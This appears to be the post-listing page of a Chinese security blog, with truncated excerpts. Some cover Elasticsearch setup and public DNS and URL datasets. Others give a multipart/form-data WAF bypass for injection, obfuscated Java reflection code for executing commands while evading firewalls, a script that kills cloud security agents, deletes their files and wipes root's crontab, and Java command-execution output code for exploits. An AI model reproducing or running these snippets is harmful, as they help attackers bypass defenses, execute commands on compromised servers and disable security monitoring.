2016-12-28 19:34:33

Elasticsearch 2.X

elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。使用elasticsearch可以快速的构建一个全文检索集群帮助你实时搜索。 一、安装环境 JDK环境安装 Elasticsearch 默认需要安装jdk1.7+版本,首先需要下载 jdk7 选择与当前操作系统相适应的JDK版本下载Java SE Development Kit(JDK). Linux: 选择Accept License Agreement,然后登陆Oracle账号就可以下载目前JDK7最新版的jdk-7u80-linux-x64.rpm 安装: rpm -ivh jdk-7u80-linux-x64.rpm 环境变量: vim ~/.bash_profile 在文件末尾添加 export JAVA_HOME=/usr/java/jdk1.7.0_80 export CLASS_PATH=./:$JAVA_HOME/lib export PATH=$PATH:$JAVA_HOME/bin Windows: 根据操作操作系统位数选择对应的版本,这里下载jdk-7u80-windows-x64.exe进行安装. 安装好JDK后需要再配置环境变量,右键我的电脑->属性->高级->环境变量 新建变量: 1. JAVA_H

2016-12-28 19:15:05

Elasticsearch 1.X

这个文档大约2014年在写的,只是修改了下版本号,这个文档写的非常简单,后面有空再发。 elasticsearch和solr都非常适合拿来做分布式全文索引,可以轻松的处理海量数据。 最近一年也没咋发文章,攒了很多都被弄丢掉了... elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。使用elasticsearch可以快速的构建一个全文检索集群帮助你实时搜索。 一、下载安装 wget https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.7.3.zip unzip elasticsearch-1.7.3.zip cp elasticsearch-1.7.3 elasticsearch-1.7.3-2 单机配置: 启动: ./bin/elasticsearch(windows下双击elasticsearch.bat) 后台方式启动: ./bin/elasticsearch -d 启动成功后会监听:9200(web api端)、9300(socket api)、54328(zen discovery udp广播) 二:中文分词 在默认情况下elasticsearch是不支持中文分词的,所以需要

2016-12-26 09:36:36

2016-12-25 10:37:24

2015-11-30 10:04:26

multipart/form-data PHP和Java通用的WAF绕过方法

依旧是multipart/form-data,去年的时候说道了利用PHP的特性去绕过WAF.轻松绕各种WAF的POST注入、跨站防御(比如安全狗) 原文简单的描述了PHP在处理POST请求的时候会解析multipart/form-data的内容。 那么这个multipart/form-data到底是个啥呢? 大概长成上面这样.HTML代码就更加简单了: <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>yzmm - p2j.cn</title> </head> <body>   <form action="http://192.168.199.151/index.php" method="POST" enctype="multipart/form-data">        File:<input type="file" name="file" />

2015-09-29 00:08:17

DNS Records (ANY)

这是一个来自Rapid7的LDNS库,包含了大约5亿域名A记录. Dataset Details The dataset contains snapshots taken within a timeframe of maximum 8 hours each. New snapshots will be added as additional data is collected. The forward DNS requests are made with record type 'ANY' which results in all kinds of result records being returned. The first upload contained only the following types: A, AAAA, CNAME, MX, NS, PTR, SOA, TXT. Since then we've changed the parsing library (ldns) and are now uploading all records we retrieve, as far parsed as possible. The data might contain unknown record types and known but

2015-09-20 05:30:01

java reflect cmd

看了 @动后河 jsp上传cmd马却遇到防火墙的绕过方法,很久以前和 @xcoder 师傅搞过类似的东东。贴出我的执行CMD利用代码: import java.io.InputStream; import java.lang.reflect.Method; import java.util.Scanner; public class ReflectTest { public static String reflect(String str) throws Exception { String runtime = new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }); Class<?> c = Class.forName(runtime); Method m1 = c.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })); Method m2 = c.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.clas

2015-09-11 22:54:55

卸载云盾

由此次阿里云事件谈粗暴的安全防护手段 阿里云: a ) wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh b ) chmod +x quartz_uninstall.sh c ) ./quartz_uninstall.sh 腾讯云: #!/bin/bash #fuck tx process rm -rf /usr/local/sa rm -rf /usr/local/agenttools rm -rf /usr/local/qcloud process=(sap100 secu-tcs-agent sgagent64 barad_agent agent agentPlugInD pvdriver ) for i in ${process[@]} do for A in $(ps aux |grep $i |grep -v grep |awk '{print $2}') do kill -9 $A done done chkconfig --level 35 postfix off service postfix stop echo ''>/var/spool/cron/root echo '#!/bin/b

2015-08-25 21:40:31

URL.zip

这是3月-5月的URL数据,包含大量的完整URL链接压缩包。每个文件3E+URL,解压后15-17G。 20150331-http.url.zip url.txt.zip [root@localhost http]# head 20150331-http.url https://67.32.8.22.innotrac.com/ http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd http://www.w3.org/1999/xhtml http://174.93.96.86/js/jquery-1.3.1.min.js http://174.93.96.86/js/common.js http://174.93.96.86/js/class.js http://174.93.96.86/js/main.js http://174.93.96.86/js/jcookie.js http://174.93.96.86/js/language.js http://174.93.96.86/css/main.css

2015-08-25 07:30:32

java inputstream toString

在以前的众多执行利用代码当中获取命里执行结果一直是一个比较麻烦的事情,常见的byte/char[50000]、readFully、readLine但总会有很多不便,比如说readLine的while循环读取问题。使用java.util.Scanner(xxx).useDelimiter(xxx)可以快速解决命令执行回显问题。 import java.io.IOException; import java.io.InputStream; public class Exec { public static void main(String[] args) { try { InputStream in = Runtime.getRuntime().exec("ifconfig").getInputStream(); java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A"); System.out.println(s.hasNext() ? s.next() : ""); } catch (IOException e) { e.printStackTrace(); } } } 利用Scanner读取文件内容到S